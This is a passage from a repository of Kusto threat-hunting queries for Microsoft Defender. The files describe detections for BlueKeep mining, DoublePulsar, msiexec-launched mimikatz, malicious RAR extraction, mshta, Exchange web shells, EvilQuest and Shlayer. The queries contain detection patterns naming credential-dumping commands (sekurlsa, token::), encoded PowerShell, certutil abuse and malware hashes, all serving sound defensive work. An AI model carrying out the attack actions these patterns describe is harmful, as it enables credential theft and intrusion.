InitiatingProcessId, InitiatingProcessCommandLine, InitiatingProcessCreationTime\n                                    ) \n                                    on DeviceId , InitiatingProcessFileName , InitiatingProcessId, InitiatingProcessCreationTime\n);\n// Use the cached results and find the rare patterns based on process names.\n_process_tree_data\n|summarize count() by FileName,InitiatingProcessFileName,InitiatingProcessParentFileName,InitiatingProcessG1ParentFileName,InitiatingProcessG2ParentFileName,InitiatingProcessG3ParentFileName,InitiatingProcessG4ParentFileName\n| where count_ < 10 // If the count of a pattern is less than 10, it is anomalous. Threshold can be changed.\n// Now, join the anomalous patterns with the original results to get the details. \n| join kind=inner _process_tree_data on FileName,InitiatingProcessFileName,InitiatingProcessParentFileName,InitiatingProcessG1ParentFileName,InitiatingProcessG2ParentFileName,InitiatingProcessG3ParentFileName,InitiatingProcessG4ParentFileName\n// Now, join the anomalous patterns with the original results to get the details. \n|project Timestamp=case(isnotempty(Timestamp),Timestamp,isnotempty(InitiatingProcessParentCreationTime),InitiatingProcessParentCreationTime,isnotempty(InitiatingProcessG1ParentCreationTime),InitiatingProcessG1ParentCreationTime,\n    isnotempty(InitiatingProcessG2ParentCreationTime),InitiatingProcessG2ParentCreationTime,isnotempty(InitiatingProcessG3ParentCreationTime),InitiatingProcessG3ParentCreationTime,InitiatingProcessG4ParentCreationTime),\n    count_ , DeviceId, DeviceName, \n    InitiatingProcessG4ParentFileName,InitiatingProcessG3ParentFileName,InitiatingProcessG2ParentFileName,InitiatingProcessG1ParentFileName,InitiatingProcessParentFileName,InitiatingProcessFileName,FileName,\n    InitiatingProcessG4ParentCommandLine, InitiatingProcessG3ParentCommandLine, InitiatingProcessG2ParentCommandLine, InitiatingProcessG1ParentCommandLine, InitiatingProcessCommandLine, ProcessCommandLine,\n    InitiatingProcessG4ParentId,  InitiatingProcessG4ParentCreationTime,\n    InitiatingProcessG3ParentId, InitiatingProcessG3ParentFolderPath ,InitiatingProcessG3ParentSHA1,  InitiatingProcessG3ParentCreationTime,\n    InitiatingProcessG2ParentId,InitiatingProcessG2ParentFolderPath,InitiatingProcessG2ParentSHA1, InitiatingProcessG2ParentCreationTime,\n    InitiatingProcessG1ParentId,InitiatingProcessG1ParentFolderPath,InitiatingProcessG1ParentSHA1,  InitiatingProcessG1ParentCreationTime,\n    InitiatingProcessParentId, InitiatingProcessParentFolderPath,InitiatingProcessParentSHA1, InitiatingProcessParentCommandLine ,InitiatingProcessParentCreationTime,\n    InitiatingProcessId, InitiatingProcessSHA1,  InitiatingProcessCreationTime,\n    ProcessId, SHA1,  ProcessCreationTime\n| order by Timestamp, DeviceName, InitiatingProcessG4ParentCreationTime , InitiatingProcessG3ParentCreationTime , InitiatingProcessG2ParentCreationTime , InitiatingProcessG1ParentCreationTime , InitiatingProcessCreationTime\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|-|-|-|\n| Initial access | v |  |\n| Execution | v |  |\n| Persistence | v |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery | v |  |\n| Lateral movement | v |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## Contributor info\n\n**Contributor:** Cyb3rMonk ([Medium](https://mergene.medium.com/), [GitHub](https://github.com/Cyb3r-Monk), [Twitter](https://twitter.com/Cyb3rMonk))\n"
  },
  {
    "path": "Execution/detect-bluekeep-related-mining.md",
    "content": "# Detect BlueKeep-related cryptocurrency mining\n\nThis query was originally published in the threat analytics report, *Exploitation of CVE-2019-0708 (BlueKeep)*.\n\n[CVE-2019-0708](https://nvd.nist.gov/vuln/detail/CVE-2019-0708), also known as BlueKeep, is a critical remote code execution vulnerability involving RDP. Soon after its disclosure, the NSA issued a rare [advisory](https://www.nsa.gov/News-Features/News-Stories/Article-View/Article/1865726/nsa-cybersecurity-advisory-patch-remote-desktop-services-on-legacy-versions-of/) about this vulnerability, out of concern that it could be used to quickly spread malware. Attackers have since used this vulnerability to [install cryptocurrency miners](https://www.wired.com/story/bluekeep-hacking-cryptocurrency-mining/) on targets.\n\nMicrosoft has issued [updates](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708) for this vulnerability, as well as [guidance](https://support.microsoft.com/en-us/help/4500705/customer-guidance-for-cve-2019-0708) for protecting operating systems that we no longer support. Microsoft Defender ATP also contains [behavioral detections](https://www.microsoft.com/security/blog/2019/11/07/the-new-cve-2019-0708-rdp-exploit-attacks-explained/) for defending against this threat.\n\nThe following query locates devices where the known coin miner payload was dropped.\n\n## Query\n\n```Kusto\n// Suggest setting Timestamp starting from September 6th\n// when the BlueKeep Metasploit module was released\nDeviceFileEvents\n| where Timestamp > ago(7d)\n| where FolderPath endswith \"spool\\\\svchost.exe\"\nor SHA1==\"82288c2dc5c63c1c57170da91f9979648333658e\"\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution | v |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## See also\n\n* [Detect BlueKeep exploitation attempts](../Initial%20access/detect-bluekeep-exploitation-attempts.md)\n* [Detect suspicious RDP activity related to BlueKeep](..\\Lateral%20Movement\\detect-suspicious-rdp-connections.md)\n* [Detect command-and-control communication related to BlueKeep cryptomining](../Command%20and%20Control/c2-bluekeep.md)\n\n## Contributor info\n\n**Contributor:** Microsoft Threat Protection team\n"
  },
  {
    "path": "Execution/detect-doublepulsar-execution.md",
    "content": "# Detect DoublePulsar execution\n\nThis query was originally published in the threat analytics report, *Motivated miners*.\n\n[Doublepulsar](https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan:Win32/DoublePulsar&threatId=-2147239036) is a backdoor developed by the National Security Agency (NSA). First [disclosed in 2017](https://www.scmagazine.com/home/security-news/cybercrime/doublepulsar-malware-spreading-rapidly-in-the-wild-following-shadow-brokers-dump/), it is now used by many malicious actors. Software [patches](https://support.microsoft.com/en-us/help/4013389/title) are available.\n\nThe following query detects possible DoublePulsar execution events.\n\nSee [Detect web server exploitation by DoublePulsar](detect-web-server-exploit-doublepulsar.md) for a query that detects behaviors associated with campaigns that use DoublePulsar.\n\n## Query\n\n```Kusto\n//DoublePulsar execution\nDeviceProcessEvents\n| where Timestamp > ago(7d)\n| where SHA1 == \"be855cd1bfc1e1446a3390c693f29e2a3007c04e\" or\n(ProcessCommandLine contains \"targetport\" and ProcessCommandLine contains \"targetip\" and \n(ProcessCommandLine contains \"payload\" or ProcessCommandLine contains \"verifybackdoor\"))\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|-|-|-|\n| Initial access |  |  |\n| Execution | v |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## Contributor info\n\n**Contributor:** Microsoft Threat Protection team\n"
  },
  {
    "path": "Execution/detect-exploitation-of-cve-2018-8653.md",
    "content": "# Detect exploitation of the Internet Explorer remote code execution vulnerability, CVE-2018-8653\n\nThis query was originally published in the threat analytics report, *CVE-2018-8653 scripting engine vulnerability*.\n\n[CVE-2018-8653](https://nvd.nist.gov/vuln/detail/CVE-2018-8653) is a remote code execution vulnerability found in the scripting engine for several releases of Internet Explorer. An attacker exploiting this CVE could use a malicious webpage to gain the same access rights as the currently logged-in user -- which is particularly problematic if the user is an administrator.\n\nMicrosoft has since [addressed](https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8653) this vulnerability.\n\nThe following queries detect possible exploitation of this CVE.\n\n## Query\n\n```Kusto\nDeviceProcessEvents \n| where Timestamp > ago(7d)\nand InitiatingProcessFileName =~ \"svchost.exe\"\nand InitiatingProcessCommandLine contains \"WinHttpAutoProxySvc\"\nand FileName !~ \"pacjsworker.exe\"\nand FileName !~ \"svchost.exe\"\nand FileName !~ \"WerFault.exe\"\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|-|-|-|\n| Initial access | v |  |\n| Execution | v |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## Contributor info\n\n**Contributor:** Microsoft Threat Protection team\n"
  },
  {
    "path": "Execution/detect-malcious-use-of-msiexec.md",
    "content": "# Detect malicious use of Msiexec\n\nThis query was originally published in the threat analytics report, *Msiexec abuse*.\n\n*[Msiexec.exe](https://docs.microsoft.com/windows-server/administration/windows-commands/msiexec)* is a Windows component that installs files with the *.msi* extension. These kinds of files are Windows installer packages, and are used by a wide array of legitimate software. However, malicious actors can re-purpose msiexec.exe for living-off-the-land attacks, where they use legitimate system binaries on the compromised device to perform attacks.\n\nThe following query detects activity associated with misuse of msiexec.exe, particularly alongside [mimikatz](https://www.varonis.com/blog/what-is-mimikatz/), a common credential dumper and privilege escalation tool.\n\n## Query\n\n```Kusto\n//Find possible download and execution using Msiexec\nDeviceProcessEvents\n| where Timestamp > ago(7d)\n//MSIExec\n| where FileName =~ \"msiexec.exe\" and \n//With domain in command line\n(ProcessCommandLine has \"http\" and ProcessCommandLine has \"return\")//Find PowerShell running files from the temp folder\n\nDeviceProcessEvents\n| where Timestamp > ago(7d)\n//Looking for PowerShell\n| where FileName =~ \"powershell.exe\"\n//Looking for %temp% in the command line indicating deployment \nand ProcessCommandLine contains \"%temp%\"//Find credential theft attempts using Msiexec to run Mimikatz commands\n\nDeviceProcessEvents\n| where Timestamp > ago(7d)\n| where InitiatingProcessFileName =~ \"msiexec.exe\"\n//Mimikatz commands\nand (ProcessCommandLine contains \"privilege::\" \nor ProcessCommandLine has \"sekurlsa\" \nor ProcessCommandLine contains \"token::\") \n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution | v |  |\n| Persistence |  |  |\n| Privilege escalation | v |  |\n| Defense evasion |  |  |\n| Credential Access | v |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## Contributor info\n\n**Contributor:** Microsoft Threat Protection team\n"
  },
  {
    "path": "Execution/detect-malicious-rar-extraction.md",
    "content": "# Detect CVE-2018-15982 exploit used to extract file from malicious RAR archive\n\nThis query was originally published in the threat analytics report, *CVE-2018-15982 exploit attacks*.\n\n[CVE-2018-15982](https://nvd.nist.gov/vuln/detail/CVE-2018-15982) is an exploit of Adobe Flash Player, that allows for remote execution of arbitrary code. It has since been [patched](https://helpx.adobe.com/security/products/flash-player/apsb18-42.html).\n\nActors have been observed using this vulnerability in targeted attacks. Exploits for CVE-2018-15982 have also been included in several exploit kits.\n\nIn some initial attacks exploiting CVE-2018-15982, attackers sent targets spear-phishing emails. The emails would include an attached RAR archive, which contained a lure document, as well as a second archive disguised as a *.jpg* file. Opening the document would automatically run an embedded Flash ActiveX control. This, in turn, would call a script containing the exploit. The exploit's ability to run arbitrary code would be employed to unpack and run a payload from the second archive. The payload is a backdoor used both to achieve persistance and for command and control.\n\nThe following query detects possible instances of a payload being extracted by the exploit.\n\n## Query\n\n```Kusto\nDeviceProcessEvents\n| where FileName == \"cmd.exe\"\n| where ProcessCommandLine contains @\"set path=%ProgramFiles(x86)%\\WinRAR;C:\\Program Files\\WinRAR;\"\n| where ProcessCommandLine contains @\"cd /d %~dp0 & rar.exe e -o+ -r -inul*.rar\"\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access | v |  |\n| Execution | v |  |\n| Persistence | v |  | \n| Privilege escalation |  |  |\n| Defense evasion |  |  | \n| Credential Access |  |  | \n| Discovery |  |  | \n| Lateral movement |  |  | \n| Collection |  |  | \n| Command and control | v |  | \n| Exfiltration |  |  | \n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n\n## Contributor info\n\n**Contributor:** Contributor: Microsoft Threat Protection team\n"
  },
  {
    "path": "Execution/detect-office-products-spawning-wmic.md",
    "content": "# Detect Office products launching wmic.exe\n\nThis query was originally published in the threat analytics report, *Ursnif (Gozi) continues to evolve*.\n\n[Windows Management Instrumentation](https://docs.microsoft.com/windows/win32/wmisdk/about-wmi), or *WMI*, is a legitimate Microsoft framework used to obtain management data and perform administrative tasks on remote devices. However, attackers can also use WMI to gather information about a target or hijack control of a device. The MITRE ATT&CK framework includes [WMI](https://attack.mitre.org/techniques/T1047/) among its list of common enterprise attack techniques.\n\nThe following query detects when Microsoft Office software spawns an instance of the WMI command-line utility, *[wmic.exe](https://docs.microsoft.com/windows/win32/wmisdk/wmic)*.\n\n## Query\n\n```Kusto\n​​// Office products spawning WMI\nDeviceProcessEvents\n| where InitiatingProcessFileName in~ (\"winword.exe\", \"excel.exe\", \"outlook.exe\")\nand FileName =~\"wmic.exe\"\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|-|-|-|\n| Initial access |  |  |\n| Execution | v | The query will detect whenever a Microsoft Office product spawns an instance of wmic.exe. This sort of activity, although suspicious, is not by itself actively harmful. Administrators should investigate further to determine if the event was  malicious. |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## Contributor info\n\n**Contributor:** Microsoft Threat Protection team\n"
  },
  {
    "path": "Execution/detect-suspicious-mshta-usage.md",
    "content": "# Detect suspicious Mshta usage\n\nThis query was originally published in the threat analytics report, *Ursnif (Gozi) continues to evolve*.\n\n[Microsoft HTML Applications](https://docs.microsoft.com/previous-versions/ms536496(v=vs.85)), or *HTAs*, are executable files that use the same technologies and models as Internet Explorer, but do not run inside of a web browser.\n\n*[Mshta.exe](https://docs.microsoft.com/en-us/previous-versions/windows/embedded/aa940701(v%3dwinembedded.5))* is a Windows utility that provides a host for HTA files to run in. Although it has legitimate uses, attackers can use mshta.exe to run malicious Javascript or VBScript commands. The MITRE ATT&CK framework includes [Mshta](https://attack.mitre.org/techniques/T1170/) among its list of enterprise attack techniques.\n\nThe following query detects when mshta.exe has been run, which might include illegitimate usage by attackers.\n\n## Query\n\n```Kusto\n// mshta.exe script launching processes\nDeviceProcessEvents \n| where Timestamp > ago(7d)\nand InitiatingProcessFileName =~ 'mshta.exe'\nand InitiatingProcessCommandLine contains '<script>'\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|-|-|-|\n| Initial access |  |  |\n| Execution | v |   |  |\n| Execution | v | The query will detect whenever mshta.exe has been run over the past seven days. This sort of activity, although suspicious, is not by itself actively harmful. Administrators should investigate further to determine if the event was  malicious. |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## Contributor info\n\n**Contributor:** Microsoft Threat Protection team\n"
  },
  {
    "path": "Execution/detect-web-server-exploit-doublepulsar.md",
    "content": "# Detect web server exploitation by DoublePulsar\n\nThis query was originally published in the threat analytics report, *Motivated miners*.\n\n[Doublepulsar](https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan:Win32/DoublePulsar&threatId=-2147239036) is a backdoor developed by the National Security Agency (NSA). First [disclosed in 2017](https://www.scmagazine.com/home/security-news/cybercrime/doublepulsar-malware-spreading-rapidly-in-the-wild-following-shadow-brokers-dump/), it is now used by many malicious actors. Software [patches](https://support.microsoft.com/help/4013389/title) are available.\n\nThe following query detects activity broadly associated with campaigns that use DoublePulsar to exploit web servers.\n\nSee [Detect DoublePulsar execution](detect-doublepulsar-execution.md) for a query that detects possible DoublePulsar execution events.\n\n## Query\n\n```Kusto\nDeviceProcessEvents\n| where Timestamp >= ago(7d)\n| where \n// \"Grandparent\" process is Oracle WebLogic or some process loading Confluence\nInitiatingProcessParentFileName == \"beasvc.exe\" or \nInitiatingProcessFileName == \"beasvc.exe\" \nor InitiatingProcessCommandLine contains \"//confluence\"\n// Calculate for Base64 in Commandline\n| extend Caps = countof(ProcessCommandLine, \"[A-Z]\", \"regex\"), \nTotal = countof(ProcessCommandLine, \".\", \"regex\")\n| extend Ratio = todouble(Caps) / todouble(Total) \n| where\n(\n    FileName in~ (\"powershell.exe\" , \"powershell_ise.exe\") // PowerShell is spawned\n    // Omit known clean processes\n    and ProcessCommandLine !startswith \"POWERSHELL.EXE  -C \\\"GET-WMIOBJECT -COMPUTERNAME\"\n    and ProcessCommandLine !contains \"ApplicationNo\"\n    and ProcessCommandLine !contains \"CustomerGroup\"\n    and ProcessCommandLine !contains \"Cosmos\"\n    and ProcessCommandLine !contains \"Unrestricted\"\n    and\n    (\n        ProcessCommandLine contains \"$\" // PowerShell variable declaration\n        or ProcessCommandLine contains \"-e \" // Alias for \"-EncodedCommand\" parameter\n        or ProcessCommandLine contains \"encodedcommand\"\n        or ProcessCommandLine contains \"wget\"\n        //or ( Ratio > 0.4 and Ratio < 1.0) // Presence of Base64 strings\n    )\n)\nor\n(\n    FileName =~ \"cmd.exe\" // cmd.exe is spawned\n    and ProcessCommandLine contains \"@echo\" and \n    ProcessCommandLine contains \">\" // Echoing commands into a file\n)\nor\n(\n    FileName =~ \"certutil.exe\" // CertUtil.exe abuse\n    and ProcessCommandLine contains \"-split\" \n    // the \"-split\" parameter is required to write files to the disk\n)\n| project\n       Timestamp,\n       InitiatingProcessCreationTime ,\n       DeviceId ,\n       Grandparent_PID = InitiatingProcessParentId,\n       Grandparent = InitiatingProcessParentFileName,\n       Parent_Account = InitiatingProcessAccountName,\n       Parent_PID = InitiatingProcessId,\n       Parent = InitiatingProcessFileName ,\n       Parent_Commandline = InitiatingProcessCommandLine,\n       Child_PID = ProcessId,\n       Child = FileName ,\n       Child_Commandline = ProcessCommandLine\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|-|-|-|\n| Initial access |  |  |\n| Execution | v |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## Contributor info\n\n**Contributor:** Microsoft Threat Protection team\n"
  },
  {
    "path": "Execution/exchange-iis-worker-dropping-webshell.md",
    "content": "# Exchange Server IIS dropping web shells and other artifacts\n\nThis query was originally published in the threat analytics report, \"Exchange Server zero-days exploited in the wild\".\n\nIn early March 2021, Microsoft released [patches](https://msrc-blog.microsoft.com/2021/03/02/multiple-security-updates-released-for-exchange-server/) for four different zero-day vulnerabilities affecting Microsoft Exchange Server. The vulnerabilities were being used in a coordinated attack. For more information on the vulnerabilities, visit the following links:\n\n* [CVE-2021-26855](https://nvd.nist.gov/vuln/detail/CVE-2021-26855)\n* [CVE-2021-26857](https://nvd.nist.gov/vuln/detail/CVE-2021-26857)\n* [CVE-2021-26858](https://nvd.nist.gov/vuln/detail/CVE-2021-26858)\n* [CVE-2021-27065](https://nvd.nist.gov/vuln/detail/CVE-2021-27065)\n\nThe following query checks for the IIS worker process in Exchange Server dropping files that appear to be the web shells and other threat artifacts observed in known attacks.\n\nMore queries related to this threat can be found under the [See also](#See-also) section of this page.\n\n## Query\n\n```Kusto\nDeviceFileEvents\n| where InitiatingProcessFileName == 'w3wp.exe' | where InitiatingProcessCommandLine contains \"MSExchange\"\n| where FolderPath has_any (\"\\\\wwwroot\\\\\", \"HttpProxy\\\\owa\\\\\",\"\\\\Temporary ASP.NET Files\\\\\")\n| where not(FolderPath has_any(\"\\\\tmp\\\\\",\"\\\\dl3\\\\\"))\n| where FolderPath !endswith \".log\" | where FolderPath !endswith \".json\"\n| where FolderPath !endswith \".ini\"\n| where FolderPath !endswith \".vb\"\n| where FolderPath !endswith '.tmp'\n| where FolderPath !endswith '.xml'\n| where FolderPath !endswith '.js'\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|------------------------|----------|-------|\n| Initial access |  |  |\n| Execution | v |  |\n| Persistence | v |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Exploit | |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n| Ransomware |  |  |\n\n## See also\n\n* [Reverse shell loaded using Nishang Invoke-PowerShellTcpOneLine technique](./reverse-shell-nishang.md)\n* [Procdump dumping LSASS credentials](../Credential%20Access/procdump-lsass-credentials.md)\n* [7-ZIP used by attackers to prepare data for exfiltration](../Exfiltration/7-zip-prep-for-exfiltration.md)\n* [Exchange PowerShell snap-in being loaded](../Exfiltration/exchange-powershell-snapin-loaded.md)\n* [Powercat exploitation tool downloaded](../Delivery/powercat-download.md)\n* [Exchange vulnerability creating web shells via UMWorkerProcess](./umworkerprocess-creating-webshell.md)\n* [Exchange vulnerability launching subprocesses through UMWorkerProcess](./umworkerprocess-unusual-subprocess-activity.md)\n* [Base64-encoded Nishang commands for loading reverse shell](./reverse-shell-nishang-base64.md)\n\n## Contributor info\n\n**Contributor:** Microsoft 365 Defender team\n"
  },
  {
    "path": "Execution/jse-launched-by-word.md",
    "content": "# Detect potentially malicious .jse launch by File Explorer or Word\n\nThis query was originally published in the threat analytics report, *Emulation-evading JavaScripts*.\n\nAttackers in several ransomware campaigns have employed heavily obfuscated JavaScript code, in order to implant malware or execute malicious commands. The obfuscation is intended to help the code evade security systems and potentially escape sandbox environments.\n\nThe following query detects when Word or File Explorer have launched files with a *.jse* extension. Attackers involved in various [human-operated campaigns](https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/) have been known to embed a heavily obfuscated JavaScript file in malicious Word docs. The loader is used to download and install the banking trojan, Trickbot.\n\nSee [Detect .jse file creation events](../Delivery/detect-jscript-file-creation.md) for a similar technique.\n\n## Query\n\n```Kusto\n// Find potentially malicious .jse launch by File Explorer or Word \nDeviceProcessEvents \n| where Timestamp > ago(7d) \n| where InitiatingProcessFileName in~ (\"explorer.exe\",\"winword.exe\") \nand FileName =~ \"wscript.exe\"\nand ProcessCommandLine contains \".jse\"\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|-|-|-|\n| Initial access | v |  |\n| Execution | v |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion | v |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## Contributor info\n\n**Contributor:** Microsoft Threat Protection team\n"
  },
  {
    "path": "Execution/launch-questd-w-osascript.md",
    "content": "# Launching questd ransomware using osascript\n\nThis query was originally published in the threat analytics report, *EvilQuest signals the rise of Mac ransomware*.\n\nAs of the time of this writing (October 2020), ransomware designed to target macOS is relatively rare. EvilQuest is one of the few examples of this kind of malware on the platform.\n\nThe query below can detect events associated with the launch of the EvilQuest executable, *questd*, from the shell.\n\nOther queries related to EvilQuest ransomware can be found under the [See also](#see-also) section below.\n\n## Query\n\n```kusto\nunion DeviceFileEvents, DeviceProcessEvents  \n| where Timestamp >= ago(7d)  \n| where ProcessCommandLine has \"osascript -e do shell script \\\"launchctl load\" and  \nProcessCommandLine contains \"questd\"\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|-|-|-|\n| Initial access |  |  |\n| Execution | v |  |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact | v |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## See also\n\n* [Ransom note 'say' alert associated with ransomware on macOS](..\\Impact\\ransom-note-creation-macos.md)\n* [Reverse shell associated with ransomware on macOS](..\\Command%20and%20Control\\reverse-shell-ransomware-macos.md)\n* [Python usage associated with ransomware on macOS](..\\Command%20and%20Control\\python-use-by-ransomware-macos.md)\n\n## Contributor info\n\n**Contributor:** Microsoft Threat Protection team\n"
  },
  {
    "path": "Execution/locate-shlayer-payload-decryption-activity.md",
    "content": "# Locate Shlayer payload decryption activity\n\nThis query was originally published in the threat analytics report, *OSX/Shlayer sustains adware push*.\n\n[Shlayer](https://www.intego.com/mac-security-blog/osxshlayer-new-mac-malware-comes-out-of-its-shell/) is adware that spies on users' search terms, and redirects network traffic to serve the user attacker-controlled search results containing ads.\n\nThe following query locates activity associated with the Shlayer payload decrypter.\n\n## Query\n\n```Kusto\n// Find use of the Shlayer OpenSSL command to decode and decrypt a payload\nDeviceProcessEvents\n| where Timestamp > ago(7d)\n| where FileName =~ \"openssl\"\nand ProcessCommandLine has \"-base64\" and\nProcessCommandLine has \"-out\"  and\nProcessCommandLine has \"-nosalt\"\nand ProcessCommandLine has_any(\"-aes256\", \"-aes-256\")\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? (v=yes) | Notes |\n|-|-|-|\n| Initial access |  |  |\n| Execution | v | Our tests indicate that this query might return a few rare matches to normal activity. |\n| Persistence |  |  |\n| Privilege escalation |  |  |\n| Defense evasion |  |  |\n| Credential Access |  |  |\n| Discovery |  |  |\n| Lateral movement |  |  |\n| Collection |  |  |\n| Command and control |  |  |\n| Exfiltration |  |  |\n| Impact |  |  |\n| Vulnerability |  |  |\n| Misconfiguration |  |  |\n| Malware, component |  |  |\n\n## Contributor info\n\n**Contributor:** Microsoft Threat Protection team\n"
  },
  {
    "path": "Execution/locate-shlayer-payload-decrytion-activity.md",
    "content": "# Locate Shlayer payload decryption activity\n\nThis query was originally published in the threat analytics report, *OSX/Shlayer sustains adware push*.\n\n[Shlayer](https://www.intego.com/mac-security-blog/osxshlayer-new-mac-malware-comes-out-of-its-shell/) is adware that spies on users' search terms, and redirects network traffic to serve the user attacker-controlled search results containing ads.\n\nThe following query locates activity associated with the Shlayer payload decrypter.\n\n## Query\n\n```Kusto\n// Find use of the Shlayer OpenSSL command to decode and decrypt a payload\nDeviceProcessEvents\n| where Timestamp > ago(7d)\n| where FileName =~ \"openssl\"\nand ProcessCommandLine has \"-base64\" and\nProcessCommandLine has \"-out\"  and\nProcessCommandLine has \"-nosalt\"\nand ProcessCommandLine has_any(\"-aes256\", \"-aes-256\")\n```\n\n## Category\n\nThis query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states.\n\n| Technique, tactic, or state | Covered? 